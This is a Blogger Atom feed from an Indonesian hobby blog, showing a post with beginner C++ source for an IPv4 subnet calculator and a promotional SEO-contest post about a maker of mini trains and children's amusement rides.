<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:blogger='http://schemas.google.com/blogger/2008' xmlns:georss='http://www.georss.org/georss' xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-8690548132506909115</id><updated>2024-10-05T00:57:20.609-07:00</updated><category term="bacaan"/><category term="programming"/><category term="exploit"/><category term="hacking/cracking"/><category term="networking"/><category term="tool"/><category term="Kontes SEO"/><category term="ebook"/><category term="game"/><title type='text'>Ayrbyte blog&#39;s</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://ayrbyte.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8690548132506909115/posts/default?redirect=false'/><link rel='alternate' type='text/html' href='http://ayrbyte.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/8690548132506909115/posts/default?start-index=26&amp;max-results=25&amp;redirect=false'/><author><name>Ayrbyte</name><uri>http://www.blogger.com/profile/13588330961721133792</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>33</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-8690548132506909115.post-4541014364345088814</id><published>2013-04-22T22:01:00.000-07:00</published><updated>2013-05-06T20:30:36.720-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="networking"/><category scheme="http://www.blogger.com/atom/ns#" term="programming"/><category scheme="http://www.blogger.com/atom/ns#" term="tool"/><title type='text'>Subnet Calculator (C++)</title><content type='html'>Berikut ini saya bagi source code subnet calculator, mohon koreksi nya ya barang kali ada yang salah hehehehe.... ^_^&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEid4QQCJL9K_WLBrhySU8XtTUN2ovFF5a9hkRvLb4KNsDBk3RNFScq8abM0mLt9kJWxDiDFPEymAyxsQQ-GHb52M2GlNLw7F7J7HnXWAnz7IorcvHP5tzHRquiOpmXUbO7sw-toGuclX6c/s1600/protest.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEid4QQCJL9K_WLBrhySU8XtTUN2ovFF5a9hkRvLb4KNsDBk3RNFScq8abM0mLt9kJWxDiDFPEymAyxsQQ-GHb52M2GlNLw7F7J7HnXWAnz7IorcvHP5tzHRquiOpmXUbO7sw-toGuclX6c/s1600/protest.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;pre style=&quot;background-color: #eeeeee; border: 1px dashed #0000FF; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;//////////////////////////////
//Program Hitung Subnet
//by : Ayrbyte
//blog : ayrbyte.blogspot.nl &amp;lt;&amp;lt;-- 
//kunjungi blog q ya... 
//and jangan lupa klik iklannya... hehehe... ^_^
//////////////////////////////
#include &amp;lt;iostream&amp;gt;
#include &amp;lt;string&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
using namespace std;

int temp, cidr;
int hps, jnet;
string tempip, no, no1, no2, no3, no4, m2, m3, m4, kelas, kelasa, scidr;
//s 0, bc 1, fh 2, lh 3
short int alldata[4][4];

void baner(){
    cout &amp;lt;&amp;lt; &quot;\n-----------------------------------------\n&quot;
            &quot;| Program Hitung Subnet\n&quot;
            &quot;| By : Ayrbyte (orang ganteng sedunia)\n&quot;
            &quot;| blog : ayrbyte.blogspot.nl &amp;lt;&amp;lt;--\n&quot;
            &quot;| ---------------------------------------\n&quot; 
            &quot;| kunjungi blog q ya... \n&quot;
            &quot;|    and jangan lupa klik iklannya...\n&quot; 
            &quot;|          hehehe... ^_^\n&quot;
            &quot;-----------------------------------------\n\n&quot;;
}

void invalid(){
    void baner();
    cout &amp;lt;&amp;lt; &quot;Input tidak valid... atau program ini gak bisa nemuin jawabannya...\n&quot; 
            &quot;Hehehehe... maklum... yang buat masih NEWBIE pool... ^_^\n&quot; &amp;lt;&amp;lt; endl;  
}

short int cekip(string scip){
    short int count, cx;
    temp = 0;
    cx = 0;
    count = 0;
    tempip.clear();
    short int titik = -2;
    temp = scip[0] - 48;
    if ((scip.length() &amp;lt; 16)&amp;amp;&amp;amp;(temp != titik)){
        for(short int x=0; x &amp;lt; scip.length();x++)
        {
            temp = scip[x] - 48;
            if(temp == titik){
              count = count + 1;  
            }
        }
        if(count != 3){
            invalid();
            return 0;
        } 
        temp = 0;
        for(short int i=0; i &amp;lt; scip.length();i++)
        {
             temp = scip[i] - 48;
             if((temp &amp;gt;= 0)and(temp &amp;lt;= 9)or(temp == titik)){
                    if(temp != titik){
                    tempip = temp + 48;
                    no = no + tempip;
                    }else{
                        if(cx == 0){
                            no1 = no;
                        }if(cx == 1){
                            no2 = no;
                        }
                        if(cx == 2){
                            no3 = no;
                        }
                    cx = cx +1;
                    no.clear();
                    }
                    no4 = no;
                }else{ invalid(); return 0; }
              temp = 0;
        }
        temp = atoi(no1.c_str());
        if((temp &amp;gt; 223) or (temp &amp;lt; 1)){ invalid(); return 0; }
        temp = atoi(no2.c_str());
        if((temp &amp;gt; 255) or (temp &amp;lt; 0)){ invalid(); return 0; }
        temp = atoi(no3.c_str());
        if((temp &amp;gt; 255) or (temp &amp;lt; 0)){ invalid(); return 0; }
        temp = atoi(no4.c_str());
        if((temp &amp;gt; 255) or (temp &amp;lt; 0)){ invalid(); return 0; }
    }else{ invalid(); return 0;}
    return 0;
}

void getclass(){
        temp = atoi(no1.c_str());
        if((temp &amp;lt;= 126) and (temp &amp;gt;= 1)){ kelas = &quot;Class A&quot;; }
        temp = atoi(no1.c_str());
        if((temp &amp;lt;= 191) and (temp &amp;gt;= 128)){ kelas = &quot;Class B&quot;; }
        temp = atoi(no1.c_str());
        if((temp &amp;lt;= 223) and (temp &amp;gt;= 192)){ kelas = &quot;Class C&quot;; }
}

void privatorpublic(){
    short int temp1, temp2;
    if(kelas == &quot;Class A&quot;){
        temp1 = atoi(no1.c_str());
        if((temp1 == 10)){
            kelasa = &quot;(Private Addressing)&quot;;
        }else{ kelasa = &quot;(Public Addressing)&quot;; }
    }
    if(kelas == &quot;Class B&quot;){
        temp1 = atoi(no1.c_str());
        temp2 = atoi(no2.c_str());
        if((temp1 == 172)&amp;amp;&amp;amp;(temp2 &amp;gt;= 16)&amp;amp;&amp;amp;(temp2 &amp;lt;= 31)){
            kelasa = &quot;(Private Addressing)&quot;;
        }else{ kelasa = &quot;(Public Addressing)&quot;; }
    }
    if(kelas == &quot;Class C&quot;){
        temp1 = atoi(no1.c_str());
        temp2 = atoi(no2.c_str());
        if((temp1 == 192)&amp;amp;&amp;amp;(temp2 == 168)){
            kelasa = &quot;(Private Addressing)&quot;;
        }else{ kelasa = &quot;(Public Addressing)&quot;; }
    }
}

void nemask(){
    if(kelas == &quot;Class A&quot;){
        switch(cidr){
            case 8: m2 = &quot;0&quot;; m3 = &quot;0&quot;; m4 = &quot;0&quot;; break;
            case 9: m2 = &quot;128&quot;; m3 = &quot;0&quot;; m4 = &quot;0&quot;; break;
            case 10: m2 = &quot;192&quot;; m3 = &quot;0&quot;; m4 = &quot;0&quot;; break;
            case 11: m2 = &quot;224&quot;; m3 = &quot;0&quot;; m4 = &quot;0&quot;; break;
            case 12: m2 = &quot;240&quot;; m3 = &quot;0&quot;; m4 = &quot;0&quot;; break;
            case 13: m2 = &quot;248&quot;; m3 = &quot;0&quot;; m4 = &quot;0&quot;; break;
            case 14: m2 = &quot;252&quot;; m3 = &quot;0&quot;; m4 = &quot;0&quot;; break;
            case 15: m2 = &quot;254&quot;; m3 = &quot;0&quot;; m4 = &quot;0&quot;; break;
            case 16: m2 = &quot;255&quot;; m3 = &quot;0&quot;; m4 = &quot;0&quot;; break;
            case 17: m2 = &quot;255&quot;; m3 = &quot;128&quot;; m4 = &quot;0&quot;; break;
            case 18: m2 = &quot;255&quot;; m3 = &quot;192&quot;; m4 = &quot;0&quot;; break;
            case 19: m2 = &quot;255&quot;; m3 = &quot;224&quot;; m4 = &quot;0&quot;; break;
            case 20: m2 = &quot;255&quot;; m3 = &quot;240&quot;; m4 = &quot;0&quot;; break;
            case 21: m2 = &quot;255&quot;; m3 = &quot;248&quot;; m4 = &quot;0&quot;; break;
            case 22: m2 = &quot;255&quot;; m3 = &quot;252&quot;; m4 = &quot;0&quot;; break;
            case 23: m2 = &quot;255&quot;; m3 = &quot;254&quot;; m4 = &quot;0&quot;; break;
            case 24: m2 = &quot;255&quot;; m3 = &quot;255&quot;; m4 = &quot;0&quot;; break;
            case 25: m2 = &quot;255&quot;; m3 = &quot;255&quot;; m4 = &quot;128&quot;; break;
            case 26: m2 = &quot;255&quot;; m3 = &quot;255&quot;; m4 = &quot;192&quot;; break;
            case 27: m2 = &quot;255&quot;; m3 = &quot;255&quot;; m4 = &quot;224&quot;; break;
            case 28: m2 = &quot;255&quot;; m3 = &quot;255&quot;; m4 = &quot;240&quot;; break;
            case 29: m2 = &quot;255&quot;; m3 = &quot;255&quot;; m4 = &quot;248&quot;; break;
            case 30: m2 = &quot;255&quot;; m3 = &quot;255&quot;; m4 = &quot;252&quot;; break;
        }
    }
    if(kelas == &quot;Class B&quot;){
        switch(cidr){
            case 16: m2 = &quot;255&quot;; m3 = &quot;0&quot;; m4 = &quot;0&quot;; break;
            case 17: m2 = &quot;255&quot;; m3 = &quot;128&quot;; m4 = &quot;0&quot;; break;
            case 18: m2 = &quot;255&quot;; m3 = &quot;192&quot;; m4 = &quot;0&quot;; break;
            case 19: m2 = &quot;255&quot;; m3 = &quot;224&quot;; m4 = &quot;0&quot;; break;
            case 20: m2 = &quot;255&quot;; m3 = &quot;240&quot;; m4 = &quot;0&quot;; break;
            case 21: m2 = &quot;255&quot;; m3 = &quot;248&quot;; m4 = &quot;0&quot;; break;
            case 22: m2 = &quot;255&quot;; m3 = &quot;252&quot;; m4 = &quot;0&quot;; break;
            case 23: m2 = &quot;255&quot;; m3 = &quot;254&quot;; m4 = &quot;0&quot;; break;
            case 24: m2 = &quot;255&quot;; m3 = &quot;255&quot;; m4 = &quot;0&quot;; break;
            case 25: m2 = &quot;255&quot;; m3 = &quot;255&quot;; m4 = &quot;128&quot;; break;
            case 26: m2 = &quot;255&quot;; m3 = &quot;255&quot;; m4 = &quot;192&quot;; break;
            case 27: m2 = &quot;255&quot;; m3 = &quot;255&quot;; m4 = &quot;224&quot;; break;
            case 28: m2 = &quot;255&quot;; m3 = &quot;255&quot;; m4 = &quot;240&quot;; break;
            case 29: m2 = &quot;255&quot;; m3 = &quot;255&quot;; m4 = &quot;248&quot;; break;
            case 30: m2 = &quot;255&quot;; m3 = &quot;255&quot;; m4 = &quot;252&quot;; break;
        }
    }
    if(kelas == &quot;Class C&quot;){
        switch(cidr){
            case 24: m2 = &quot;255&quot;; m3 = &quot;255&quot;; m4 = &quot;0&quot;; break;
            case 25: m2 = &quot;255&quot;; m3 = &quot;255&quot;; m4 = &quot;128&quot;; break;
            case 26: m2 = &quot;255&quot;; m3 = &quot;255&quot;; m4 = &quot;192&quot;; break;
            case 27: m2 = &quot;255&quot;; m3 = &quot;255&quot;; m4 = &quot;224&quot;; break;
            case 28: m2 = &quot;255&quot;; m3 = &quot;255&quot;; m4 = &quot;240&quot;; break;
            case 29: m2 = &quot;255&quot;; m3 = &quot;255&quot;; m4 = &quot;248&quot;; break;
            case 30: m2 = &quot;255&quot;; m3 = &quot;255&quot;; m4 = &quot;252&quot;; break;
        }
    }
}

void jumlahsubnet(){
    int temp1 = 1;
    if(kelas == &quot;Class A&quot;){
        temp = cidr - 8;
        for(int i = 1; i &amp;lt;= temp;i++){
            temp1 = temp1 * 2;
        }
    }
    if(kelas == &quot;Class B&quot;){
        temp = cidr - 16;
        for(int i = 1; i &amp;lt;= temp;i++){
            temp1 = temp1 * 2;
        }
    }
    if(kelas == &quot;Class C&quot;){
        temp = cidr - 24;
        for(int i = 1; i &amp;lt;= temp;i++){
            temp1 = temp1 * 2;
        }
    }
    jnet = temp1;
}

void hostpersubnet(){
    int temp1 = 1;
    if(kelas == &quot;Class A&quot;){
        temp = cidr - 8;
        temp = 24 - temp;
        for(int i = 1; i &amp;lt;= temp;i++){
            temp1 = temp1 * 2;
        }
    }
    if(kelas == &quot;Class B&quot;){
        temp = cidr - 16;
        temp = 16 - temp;
        for(int i = 1; i &amp;lt;= temp;i++){
            temp1 = temp1 * 2;
        }
    }
    if(kelas == &quot;Class C&quot;){
        temp = cidr - 24;
        temp = 8 - temp;
        for(int i = 1; i &amp;lt;= temp;i++){
            temp1 = temp1 * 2;
        }
    }
    temp1 = temp1-2;
    hps = temp1;
}

void network(){
    short int temp1, temp2;
    if(kelas == &quot;Class A&quot;){
        alldata[0][0] = atoi(no1.c_str());
        
        temp1 = atoi(no2.c_str());
        temp2 = atoi(m2.c_str());
        temp = temp1 &amp;amp; temp2;
        alldata[0][1] = temp;
        
        temp1 = atoi(no3.c_str());
        temp2 = atoi(m3.c_str());
        temp = temp1 &amp;amp; temp2;
        alldata[0][2] = temp;
        
        temp1 = atoi(no4.c_str());
        temp2 = atoi(m4.c_str());
        temp = temp1 &amp;amp; temp2;
        alldata[0][3] = temp;
    }
    if(kelas == &quot;Class B&quot;){
        alldata[0][0] = atoi(no1.c_str());
        
        temp1 = atoi(no2.c_str());
        temp2 = atoi(m2.c_str());
        temp = temp1 &amp;amp; temp2;
        alldata[0][1] = temp;
        
        temp1 = atoi(no3.c_str());
        temp2 = atoi(m3.c_str());
        temp = temp1 &amp;amp; temp2;
        alldata[0][2] = temp;
        
        temp1 = atoi(no4.c_str());
        temp2 = atoi(m4.c_str());
        temp = temp1 &amp;amp; temp2;
        alldata[0][3] = temp;
    }
    if(kelas == &quot;Class C&quot;){
        alldata[0][0] = atoi(no1.c_str());
        
        temp1 = atoi(no2.c_str());
        temp2 = atoi(m2.c_str());
        temp = temp1 &amp;amp; temp2;
        alldata[0][1] = temp;
        
        temp1 = atoi(no3.c_str());
        temp2 = atoi(m3.c_str());
        temp = temp1 &amp;amp; temp2;
        alldata[0][2] = temp;
        
        temp1 = atoi(no4.c_str());
        temp2 = atoi(m4.c_str());
        temp = temp1 &amp;amp; temp2;
        alldata[0][3] = temp;
    }
}

void conbc(){
   bool tempbool[8];
   tempbool[0] = 1;
   tempbool[1] = 1;
   cout&amp;lt;&amp;lt;tempbool; 
}

void broadcast(){
    short int temp1, temp2;
    if(kelas == &quot;Class A&quot;){
        alldata[1][0] = atoi(no1.c_str());
        
        temp1 = atoi(no2.c_str());
        temp2 = atoi(m2.c_str());
        temp2 = 256 + ~temp2;
        temp = temp1 | temp2;
        alldata[1][1] = temp;
        
        temp1 = atoi(no3.c_str());
        temp2 = atoi(m3.c_str());
        temp2 = 256 + ~temp2;
        temp = temp1 | temp2;
        alldata[1][2] = temp;
        
        temp1 = atoi(no4.c_str());
        temp2 = atoi(m4.c_str());
        temp2 = 256 + ~temp2;
        temp = temp1 | temp2;
        alldata[1][3] = temp;
    }
    if(kelas == &quot;Class B&quot;){
        alldata[1][0] = atoi(no1.c_str());
        
        temp1 = atoi(no2.c_str());
        temp2 = atoi(m2.c_str());
        temp2 = 256 + ~temp2;
        temp = temp1 | temp2;
        alldata[1][1] = temp;
        
        temp1 = atoi(no3.c_str());
        temp2 = atoi(m3.c_str());
        temp2 = 256 + ~temp2;
        temp = temp1 | temp2;
        alldata[1][2] = temp;
        
        temp1 = atoi(no4.c_str());
        temp2 = atoi(m4.c_str());
        temp2 = 256 + ~temp2;
        temp = temp1 | temp2;
        alldata[1][3] = temp;
    }
    if(kelas == &quot;Class C&quot;){
        alldata[1][0] = atoi(no1.c_str());
        
        temp1 = atoi(no2.c_str());
        temp2 = atoi(m2.c_str());
        temp2 = 256 + ~temp2;
        temp = temp1 | temp2;
        alldata[1][1] = temp;
        
        temp1 = atoi(no3.c_str());
        temp2 = atoi(m3.c_str());
        temp2 = 256 + ~temp2;
        temp = temp1 | temp2;
        alldata[1][2] = temp;
        
        temp1 = atoi(no4.c_str());
        temp2 = atoi(m4.c_str());
        temp2 = 256 + ~temp2;
        temp = temp1 | temp2;
        alldata[1][3] = temp;
    }
}

void fhlh(){
    alldata[2][0] = alldata[0][0];
    alldata[2][1] = alldata[0][1];
    alldata[2][2] = alldata[0][2];
    alldata[2][3] = alldata[0][3] + 1;
    
    alldata[3][0] = alldata[1][0];
    alldata[3][1] = alldata[1][1];
    alldata[3][2] = alldata[1][2];
    alldata[3][3] = alldata[1][3] - 1;
}

int main(int argc, char *argv[]){
    baner();
    string cip;
    cidr = 0;
    if(argc == 3){
        scidr = argv[2];
        temp = scidr[0];
        if((scidr.length() &amp;gt; 3)or(temp != 47)or(scidr.length() == 1)){
            invalid(); return 0;
        }
        for(short int i =1; i &amp;lt; scidr.length();i++)
        {
            temp = scidr[i];
            if((temp &amp;lt; 48)or(temp &amp;gt; 57)){
                invalid(); return 0;
            }
            if(scidr[1] == 0){
                invalid(); return 0;
            }
            tempip = temp;
            no = no + tempip;
            tempip.clear();
        }
        cidr = atoi(no.c_str());
        no.clear();
    }
    if(argc &amp;gt; 3){
        invalid(); return 0;
    }
    if(argc == 1){
        baner();
        cout&amp;lt;&amp;lt;&quot;| berikut syntax untuk menggunakan program ini...\n&quot;
              &quot;| hitung.exe no_ip /cidr\n&quot;
              &quot;| contoh : hitung.exe 192.168.100.1 /26\n\n&quot;
              &quot;| catatan : apabila cidr tidak di isi berarti menggunakan default\n&quot;
              &quot;| cidrnya nya masing2... :*\n\n&quot;;
              return 0;
    }
    cip = argv[1];
    cekip(cip);
    getclass();
    if(kelas == &quot;Class A&quot;){
        if(cidr == 0){ cidr = 8; }
        if((8 &amp;gt; cidr)or(cidr &amp;gt; 30)){ invalid(); return 0; }
    }
    if(kelas == &quot;Class B&quot;){
        if(cidr == 0){ cidr = 16; }
        if((16 &amp;gt; cidr)or(cidr &amp;gt; 30)){ invalid(); return 0; }
    }
    if(kelas == &quot;Class C&quot;){
        if(cidr == 0){ cidr = 24; }
        if((24 &amp;gt; cidr)or(cidr &amp;gt; 30)){ invalid(); return 0; }
    }
    privatorpublic();
    nemask();
    jumlahsubnet();
    hostpersubnet();
    network();
    broadcast();
    fhlh();
    cout&amp;lt;&amp;lt;  &quot;| ip : &quot;&amp;lt;&amp;lt; no1 &amp;lt;&amp;lt; &quot;.&quot; &amp;lt;&amp;lt; no2 &amp;lt;&amp;lt; &quot;.&quot; &amp;lt;&amp;lt; no3 &amp;lt;&amp;lt; &quot;.&quot; &amp;lt;&amp;lt; no4&amp;lt;&amp;lt;&quot; \n&quot; 
            &quot;| Address Type : &quot;&amp;lt;&amp;lt;kelas&amp;lt;&amp;lt;&quot; &quot;&amp;lt;&amp;lt;kelasa&amp;lt;&amp;lt;&quot;\n&quot;
            &quot;| Sub Netmask : &quot;&amp;lt;&amp;lt;&quot;255&quot;&amp;lt;&amp;lt;&quot;.&quot;&amp;lt;&amp;lt;m2&amp;lt;&amp;lt;&quot;.&quot;&amp;lt;&amp;lt;m3&amp;lt;&amp;lt;&quot;.&quot;&amp;lt;&amp;lt;m4&amp;lt;&amp;lt;&quot; \n&quot;
            &quot;| Jumlah Subnet : &quot;&amp;lt;&amp;lt;jnet&amp;lt;&amp;lt;&quot;\n&quot;
            &quot;| Host Per Subnet : &quot;&amp;lt;&amp;lt;hps&amp;lt;&amp;lt;&quot;\n&quot;
            &quot;| Subnet : &quot;&amp;lt;&amp;lt;alldata[0][0]&amp;lt;&amp;lt;&quot;.&quot;&amp;lt;&amp;lt;alldata[0][1]&amp;lt;&amp;lt;&quot;.&quot;&amp;lt;&amp;lt;alldata[0][2]&amp;lt;&amp;lt;&quot;.&quot;&amp;lt;&amp;lt;alldata[0][3]&amp;lt;&amp;lt;&quot;\n&quot;
            &quot;| Range : &quot;&amp;lt;&amp;lt;alldata[2][0]&amp;lt;&amp;lt;&quot;.&quot;&amp;lt;&amp;lt;alldata[2][1]&amp;lt;&amp;lt;&quot;.&quot;&amp;lt;&amp;lt;alldata[2][2]&amp;lt;&amp;lt;&quot;.&quot;&amp;lt;&amp;lt;alldata[2][3]&amp;lt;&amp;lt;&quot; - &quot;
            &amp;lt;&amp;lt;alldata[3][0]&amp;lt;&amp;lt;&quot;.&quot;&amp;lt;&amp;lt;alldata[3][1]&amp;lt;&amp;lt;&quot;.&quot;&amp;lt;&amp;lt;alldata[3][2]&amp;lt;&amp;lt;&quot;.&quot;&amp;lt;&amp;lt;alldata[3][3]&amp;lt;&amp;lt;&quot;\n&quot;
            &quot;| Broadcast : &quot;&amp;lt;&amp;lt;alldata[1][0]&amp;lt;&amp;lt;&quot;.&quot;&amp;lt;&amp;lt;alldata[1][1]&amp;lt;&amp;lt;&quot;.&quot;&amp;lt;&amp;lt;alldata[1][2]&amp;lt;&amp;lt;&quot;.&quot;&amp;lt;&amp;lt;alldata[1][3]&amp;lt;&amp;lt;&quot;\n&quot;;
    //short int x;
    //x = 13 &amp;amp; 24;
    //cout&amp;lt;&amp;lt;x;
    //string tet = &quot;223&quot;;
    //short int test = atoi(tet.c_str());
    //cout &amp;lt;&amp;lt; tet;
    return 0;
}
&lt;string&gt;&lt;stdio .h=&quot;&quot;&gt;&lt;tempbool -=&quot;&quot; 1=&quot;&quot; 3=&quot;&quot; a=&quot;&quot; alldata=&quot;&quot; argc=&quot;=&quot; argv=&quot;&quot; atoi=&quot;&quot; b=&quot;&quot; baner=&quot;&quot; broadcast=&quot;&quot; c=&quot;&quot; char=&quot;&quot; cidr=&quot;0;&quot; cip=&quot;&quot; fhlh=&quot;&quot; if=&quot;&quot; int=&quot;&quot; kelas=&quot;=&quot; lass=&quot;&quot; main=&quot;&quot; no1.c_str=&quot;&quot; scidr.length=&quot;&quot; scidr=&quot;argv[2];&quot; short=&quot;&quot; string=&quot;&quot; temp1=&quot;atoi(no4.c_str());&quot; temp2=&quot;&quot; temp=&quot;scidr[0];&quot; void=&quot;&quot;&gt;&lt;kelas -=&quot;&quot; 0=&quot;&quot; 24=&quot;&quot; :=&quot;&quot; alldata=&quot;&quot; broadcast=&quot;&quot; code=&quot;&quot; cout=&quot;&quot; host=&quot;&quot; hps=&quot;&quot; int=&quot;&quot; jnet=&quot;&quot; jumlah=&quot;&quot; kelasa=&quot;&quot; m2=&quot;&quot; m3=&quot;&quot; m4=&quot;&quot; n=&quot;&quot; netmask=&quot;&quot; per=&quot;&quot; range=&quot;&quot; return=&quot;&quot; short=&quot;&quot; string=&quot;&quot; sub=&quot;&quot; subnet=&quot;&quot; test=&quot;atoi(tet.c_str());&quot; tet=&quot;&quot; x=&quot;&quot;&gt;&lt;/kelas&gt;&lt;/tempbool&gt;&lt;!------&gt;&lt;/stdio&gt;&lt;/string&gt;&lt;!------&gt;&lt;/code&gt;&lt;/pre&gt;
</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8690548132506909115/posts/default/4541014364345088814'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8690548132506909115/posts/default/4541014364345088814'/><link rel='alternate' type='text/html' href='http://ayrbyte.blogspot.com/2013/04/subnet-calculator-c.html' title='Subnet Calculator (C++)'/><author><name>Ayrbyte</name><uri>http://www.blogger.com/profile/13588330961721133792</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEid4QQCJL9K_WLBrhySU8XtTUN2ovFF5a9hkRvLb4KNsDBk3RNFScq8abM0mLt9kJWxDiDFPEymAyxsQQ-GHb52M2GlNLw7F7J7HnXWAnz7IorcvHP5tzHRquiOpmXUbO7sw-toGuclX6c/s72-c/protest.jpg" height="72" width="72"/></entry><entry><id>tag:blogger.com,1999:blog-8690548132506909115.post-6597652161962922715</id><published>2013-04-22T00:34:00.003-07:00</published><updated>2013-04-22T03:15:22.901-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Kontes SEO"/><title type='text'>Kontes Seo keretamini.com pabrik kereta mini no 1. ready stock</title><content type='html'>Halo teman-teman blogger, kali ini saya mau beri informasi nih, tentang kontes seo yang diadakan oleh perusahaan pembuat &lt;a href=&quot;http://www.keretamini.com/&quot; target=&quot;_blank&quot;&gt;kereta mini&lt;/a&gt; dan mainan anak-anak yaitu &lt;a href=&quot;http://keretamini.com/&quot;&gt;keretamini.com&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://www.pabrikkeretamini.com/&quot; target=&quot;_blank&quot;&gt;Kereta mini&lt;/a&gt; sendiri merupakan perusahaan produsen pembuat kereta mini dan mainan hiburan anak, tepatnya yaitu mainan untuk wahana wisata murah untuk anak-anak, seperti: Kereta Mini, Kereta Mainan Mini, Mini Train, Kincir Angin, Kereta Mall, Helikopter Ganda dan Tunggal, Rumah &lt;a href=&quot;http://www.istana-balon.com/&quot; target=&quot;_blank&quot;&gt;istana balon&lt;/a&gt;, Balon bouncer, Kereta Mini wisata, Kereta mini jalan raya, Kapal ayun, Odong odong, Kolam balon, Funny bumper car, water ball,&amp;nbsp; dan masih banyak beragam mainan lainnya yang di jual murah.&lt;br /&gt;
&lt;br /&gt;
Selain wahana di atas produsen ini juga memproduksi wahana &lt;a href=&quot;http://www.pabrikkeretamini.com/products/4/0/KOMEDI-PUTAR/&quot; target=&quot;_blank&quot;&gt;komedi putar&lt;/a&gt; yang paling menarik yang bernama Rolling Star atau dikenal dengan sebutan Gajah terbang, Anak - anak dapat naik gajah, kuda dan pesawat yang terbuat dari fiber, yang bisa berputar dan naik - turun, secara lembut, seperti terbang, menarik, menyenangkan, dan aman kerena menggunakan sabuk pengaman. Wahana ini digerakkan dengan menggunakan motor DC, sehingga tidak membahayakan bagi anak-anak. Dan yang paling membanggakan adalah wahana ini merupakan karya anak bangsa Indonesia sendiri ^_^.&lt;br /&gt;
&lt;br /&gt;
Berikut ini beberapa produk dari &lt;a href=&quot;http://keretamini.com/&quot;&gt;keretamini.com&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://www.keretamini.com/?HOME:Kereta_Pariwisata&quot; target=&quot;_blank&quot;&gt;&lt;b&gt;Kereta mini pariwisata&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://www.keretamini.com/images/100_6744.jpg&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;161&quot; src=&quot;http://www.keretamini.com/images/100_6744.jpg&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;Dilengkapi dengan 1 kepala lokomotof model klasik dan 4 gerbong full fiber dengan atap. Kapasitas kereta mini pariwisata ini untuk orang dewasa 18 orang atau 27 orang untuk anak-anak.&lt;br /&gt;
&lt;br /&gt;
Kereta mini pariwisata menggunakan penggerak motor DC dengan sumber daya listrik dari PLN, Rel besi paket 6 x 18 meter dan rel bisa ditambah menyesuaikan lokasi atau taman. Kereta mini wisata ini merupakan barang baru dan siap untuk digunakan. Kereta mini pariwisata cocok untuk mengelilingi taman wisata. Dilengkapi dengan sirine 6 suara, lampu, kotak panel kontrol (timer, switch on off, pengatur kecepatan) Lintasannya bisa mencapai 1 KM. &lt;span style=&quot;color: blue;&quot;&gt;&lt;b&gt;Harga Rp. 42 Juta&lt;/b&gt;&lt;/span&gt;&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt; &lt;span style=&quot;color: blue;&quot;&gt;New&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://www.keretamini.com/?HOME:HELIKOPTER_TUNGGAL&quot; target=&quot;_blank&quot;&gt;&lt;b&gt;Helikopter Tunggal&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://www.keretamini.com/images/93090_dsc01202.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;150&quot; src=&quot;http://www.keretamini.com/images/93090_dsc01202.jpg&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;
Helikopter mainan yang dapat dinaiki 6 -
 8 anak, yang dapat bergerak naik turun, berputar dan menungging / 
inclinasi. ada 3 kombinasi gerakan. sudah komplit dengan carier / 
pembawanya, tinggal menarik saja, Sumber tenaga bisa dari PLN maupun 
